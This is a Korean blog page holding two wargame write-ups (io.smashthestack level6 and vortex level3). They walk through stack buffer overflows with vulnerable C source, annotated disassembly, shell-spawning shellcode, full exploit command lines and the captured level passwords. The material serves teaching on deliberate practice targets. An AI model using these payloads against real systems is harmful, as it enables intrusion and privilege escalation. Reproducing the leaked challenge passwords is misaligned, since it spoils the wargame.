Search results for 'BOF'

  1. 2010.01.19 -- level6
  2. 2009.10.03 -- vortex level3

level6

2010. 1. 19. 05:49


level6 도 소스코드가 있더군요.

level6@io:/levels$ cat level6.c

#include<string.h>

// The devil is in the details - nnp

void copy_buffers(char *argv[])
{
    char buf1[32], buf2[32], buf3[32];                    

    strncpy(buf2, argv[1], 31);                             argv[1]은 buf2로 31만큼 복사
    strncpy(buf3, argv[2], sizeof(buf3));                argv[2]는 buf3로 32만큼 복사
    strcpy(buf1, buf3);                                        buf3를 buf1으로 복사

}

int main(int argc, char *argv[])
{
    copy_buffers(argv);
    return 0;
}




buf1, buf2, buf3는 메모리상에 연속된 공간입니다. 버퍼의 마지막을 구분하는건 NULL 값인데
argv[2]의 값을 buf3로 복사할때
32개의 값을 주게되면 buf2와 buf3는 연속된 공간으로 인식 될 것입니다.
따라서 strcpy 구문을 이용해 BOF를 발생시킬 수 있습니다.


라고 가정하였습니다; 확인해봅시다.


level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x31'`

level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x32'`
Segmentation fault

네. 다행입니다; 이제 스택을 확인 한 후 쉘코드를 올려보겠습니다.

우선 copy_buffers 함수



gdb) disas copy_buffers
Dump of assembler code for function copy_buffers:
0x08048394 <copy_buffers+0>:    push   %ebp
0x08048395 <copy_buffers+1>:    mov    %esp,%ebp
0x08048397 <copy_buffers+3>:    sub    $0x78,%esp                      stack을 120만큼 확장
0x0804839a <copy_buffers+6>:    mov    0x8(%ebp),%eax                argv[0]을 eax로
0x0804839d <copy_buffers+9>:    add    $0x4,%eax                         eax를 4만큼 증가 -> argv[0+1]
0x080483a0 <copy_buffers+12>:   mov    (%eax),%eax                    eax의 어드레스를 eax로
0x080483a2 <copy_buffers+14>:   movl   $0x1f,0x8(%esp)                31을 esp+8로
0x080483aa <copy_buffers+22>:   mov    %eax,0x4(%esp)               argv[1]을 esp+4로
0x080483ae <copy_buffers+26>:   lea    0xffffffc0(%ebp),%eax           ebp-64 의 주소를 eax로 -> buf2
0x080483b1 <copy_buffers+29>:   mov    %eax,(%esp)                   eax의 주소를 esp로
0x080483b4 <copy_buffers+32>:   call   0x80482b4 <strncpy@plt>
0x080483b9 <copy_buffers+37>:   mov    0x8(%ebp),%eax             
0x080483bc <copy_buffers+40>:   add    $0x8,%eax                      인덱스를 2만큼 증가 -> argv[2]
0x080483bf <copy_buffers+43>:   mov    (%eax),%eax
0x080483c1 <copy_buffers+45>:   movl   $0x20,0x8(%esp)
0x080483c9 <copy_buffers+53>:   mov    %eax,0x4(%esp)
0x080483cd <copy_buffers+57>:   lea    0xffffffa0(%ebp),%eax        ebp-96의 주소를 eax로  -> buf3
0x080483d0 <copy_buffers+60>:   mov    %eax,(%esp)
0x080483d3 <copy_buffers+63>:   call   0x80482b4 <strncpy@plt>
0x080483d8 <copy_buffers+68>:   lea    0xffffffa0(%ebp),%eax       
0x080483db <copy_buffers+71>:   mov    %eax,0x4(%esp)             ebp-96을 esp+4 로
0x080483df <copy_buffers+75>:   lea    0xffffffe0(%ebp),%eax
0x080483e2 <copy_buffers+78>:   mov    %eax,(%esp)                  ebp-32를 esp로         ->buf1
0x080483e5 <copy_buffers+81>:   call   0x80482d4 <strcpy@plt>
0x080483ea <copy_buffers+86>:   leave
0x080483eb <copy_buffers+87>:   ret
End of assembler dump.

       


argv
ret address
ebp
buf1    ---- ebp-32
buf2    ---- ebp-64
buf3    ---- ebp-96

스택의 모양이 위와 같고 63 byte 를 이용할 수 있습니다.(buf3+buf2의 크기)

buf1의 크기가 32바이트 이므로 retrun address를 덮어 씌울려면 40 byte가 필요합니다. 공격코드는 아래와 같은 형태입니다.
[Shellcode][Shellcode`s address][NOP]

         
level5에서 만든 쉘코드의 크기는 45 byte이므로 보다 작은 코드(25byte)를 이용하겠습니다. (http://milw0rm.com/shellcode/6272 참조)

"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";


NOP의 주소를 확인하기 위해 gdb에서 0x080483ea <copy_buffers+86>:   leave 에breakpoint를 걸었습니다.

(gdb) r `perl -e 'print "A"x31," ","\x90"x32'`
Starting program: /levels/level6 `perl -e 'print "A"x31," ","\x90"x32'`

Breakpoint 1, 0x080483ea in copy_buffers ()
(gdb) info reg esp
esp            0xbfffdc80       0xbfffdc80
(gdb) x/150x 0xbfffdc80
0xbfffdc80:     0xbfffdcd8      0xbfffdc98      0x00000020      0x00000000
0xbfffdc90:     0x00000000      0x00000000      0x90909090      0x90909090
0xbfffdca0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcb0:     0x90909090      0x90909090      0x4141
4141      0x41414141
0xbfffdcc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdcd0:     0x41414141      0x00414141      0x90909090      0x90909090
0xbfffdce0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcf0:     0x90909090      0x90909090       0x41414141      0x41414141
0xbfffdd00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdd10:     0x41414141      0x00414141      0xbfffdd68       0x00d52ea8
0xbfffdd20:     0x00000003      0xbfffdd94       0xbfffdda4       0x00000000
0xbfffdd30:     0x00e6bff4      0x00000000       0x00ed9cc0      0xbfffdd68
0xbfffdd40:     0xbfffdd20       0x00d52e6d     0x00000000      0x00000000
0xbfffdd50:     0x00000000      0x00ecf090      0x00d52ded      0x00ed9ff4
...



buf2와 buf3가 연달아 복사되서 오버플로우를 확인할 수 있네요. buf3는 0xbfffdc98 부터 이며 return address0xbfffdcbc 입니다.

최종 공격코드 입니다.


"\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 

level6@io:/levels$ ./level6 `perl -e 'print "\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 /levels/level6 `python -c 'print "\x90"*4+"\x78\xdc\xff\xbf"+"\x90"*23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7'`

sh-3.1$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1006(level6)

sh-3.1$ cat /home/level7/.pass
arg4sans---->  qpapbi2w

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

vortex level3

2009. 10. 3. 06:07

*
* 0xbadc0ded.org Challenge #02 (2003-07-08)
*
* Joel Eriksson <je@0xbadc0ded.org>
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

  unsigned long val = 31337;
  unsigned long *lp = &val;
 
 int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
         char buf[128];
         if (argc != 2)
             exit(1);
        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
               exit(2);
        tmp = *lpp;
       **lpp = (unsigned long) &buf;
         *lpp = tmp;
         exit(0);
}

level3의 소스. strcpy를 이용한 BOF 가 가능할 것으로 보인다. 서버에서 디버깅을 해보았다.

0x0804835c <main+0>:    push   %ebp
0x0804835d <main+1>:    mov    %esp,%ebp
0x0804835f <main+3>:    sub    $0x98,%esp             스택을 0x98만큼 확장
0x08048365 <main+9>:    and    $0xfffffff0,%esp       
0x08048368 <main+12>:    mov    $0x0,%eax           
0x0804836d <main+17>:    sub    %eax,%esp
0x0804836f <main+19>:    movl   $0x80494a0,-0xc(%ebp)    0x80494a0 의 값을 lpp(ebp) -12 에 넣는다.
0x08048376 <main+26>:    cmpl   $0x2,0x8(%ebp)               argc(ebp + 8)와 2를 비교
0x0804837a <main+30>:    je     0x8048386 <main+42>         
0x0804837c <main+32>:    sub    $0xc,%esp
0x0804837f <main+35>:    push   $0x1
0x08048381 <main+37>:    call   0x804828c exit@plt      argc가 2가 아니면 exit 호출.
0x08048386 <main+42>:    sub    $0x8,%esp                     
0x08048389 <main+45>:    mov    0xc(%ebp),%eax           argv[0]을 eax에 넣는다.
0x0804838c <main+48>:    add    $0x4,%eax                    argv[0] + 4
0x0804838f <main+51>:    pushl  (%eax)                           argv[1]의 주소를  스택에 넣는다.
0x08048391 <main+53>:    lea    -0x98(%ebp),%eax         ebp - 0x98 (152) 의 주소를 eax에 push
0x08048397 <main+59>:    push   %eax                            
0x08048398 <main+60>:    call   0x804829c <strcpy@plt>     strcpy 호출
0x0804839d <main+65>:    add    $0x10,%esp
0x080483a0 <main+68>:    mov    -0xc(%ebp),%eax            lpp 를 eax로 옮기고
0x080483a3 <main+71>:    and    $0xffff0000,%eax          0xffff0000 와 and 연산
0x080483a8 <main+76>:    cmp    $0x8040000,%eax       0x8040000 와 같으면
0x080483ad <main+81>:    je     0x80483b9 <main+93>   main + 93 으로 jump
0x080483af <main+83>:    sub    $0xc,%esp             
0x080483b2 <main+86>:    push   $0x2                           
0x080483b4 <main+88>:    call   0x804828c <exit@plt>     exit(2);
0x080483b9 <main+93>:    mov    -0xc(%ebp),%eax          lpp를 eax로
0x080483bc <main+96>:   mov    (%eax),%eax                lpp가 가리키는 값을 eax로 넣는다
0x080483be <main+98>:    mov    %eax,-0x10(%ebp)       eax 를 ebp - 0x10으로 (tmp = *lpp)
0x080483c1 <main+101>:    mov    -0xc(%ebp),%eax
0x080483c4 6 <main+106>:    lea    -0x98(%ebp),%eax      buf의 주소(ebp - 98)를 eax에 넣는다
0x080483cc <main+112>:    mov    %eax,(%edx)             eax를 edx가 포인팅하는 주소로(**lpp = &buf)
0x080483ce <main+114>:    mov    -0xc(%ebp),%edx      lpp를 edx로
0x080483d1 <main+117>:    mov    -0x10(%ebp),%eax   tmp를 eax로
0x080483d4 <main+120>:    mov    %eax,(%edx)          tmp의 값을 lpp가 가키리는 곳에 넣는다 *lpp = tmp
0x080483d6 <main+122>:    sub    $0xc,%esp
0x080483d9 <main+125>:    push   $0x0
0x080483db <main+127>:    call   0x804828c <exit@plt>
End of assembler dump

스택의 모습을 그려보면 아래와 같다.

[buf ] [ dummy] [ tmp ] [ lpp ] [ dummy ] [ebp] [ret]
  128          8           4           4          8           4       4 


먼저 기본적인 BOF를 시도해보았다.

[shellcode] [NULL] [lpp] [padding][shellcode`s address]
     34              106     4           12                  4


/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1
\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f
\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\xa0\x94\x04\x08'
+'\x90'*12+'\x40\xf5\x7f\xbf'"`

Shellcode는 shell-storm.org에서 setreuid 를 사용한 34 바이트 짜리를 사용.
(http://www.shell-storm.org/shellcode/files/shellcode-399.php)

세그먼트 폴트가 발생하며 종료되었다. 확인해보니 return address 가  buf의 주소로 바뀌었지만 쉘은 떨어
지지 않았다. 아마도 exit 함수로 바로 종료되기 때문일 것이다.

문제에 첨부된 문서대로 DTOR_END를 이용해보자

DTOR_END의 주소는 08049574에서 4를 더한 08049578 이다.

[shellcode] [NULL] [lpp]

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89
\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68
\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x78\x95\x04
\x08
'
"`

위와 같이 실행하면 0x080483cc 에서 세그 폴트가 발생한다.  0x080483cc는 바로 이 부분이다.

**lpp = (unsigned long) &buf;

DTOR_END의 주소인 08049578을 그대로 써주면 이 주소에 있는 값인 0 이 포인팅하는 곳에 값을 넣으려해서
 에러가 발생하게 된다. 원하는 곳을 가리키기 위해서 08049578를 가리키는 0804xxxx 주소가 필요하다.

어디서 이 주소를 구할수 있을까 한참을 삽질하다 스파게티코더님 블로그(http://semtle.tistory.com/146)
에서 원하는 정보를 얻을 수 있었다.

"용자여.. __DTOR_END__ 를 가리키고 있는 p.0 섹션이라는게 존재한답니다."

아 이런녀석이 있는지 전혀 몰랐다.. objdump로 .data 영역의 컨텐츠를 긁어봐도 p.0 섹션을 확인할 수 있다.



최종적으로 요렇게 입력해서 2YmgK1=jw 라는 패스워드를 겟

/vortex/level3 `python -c "print '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'+'\x90'*106+'\x98\x94\x04\x08'"`


 

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex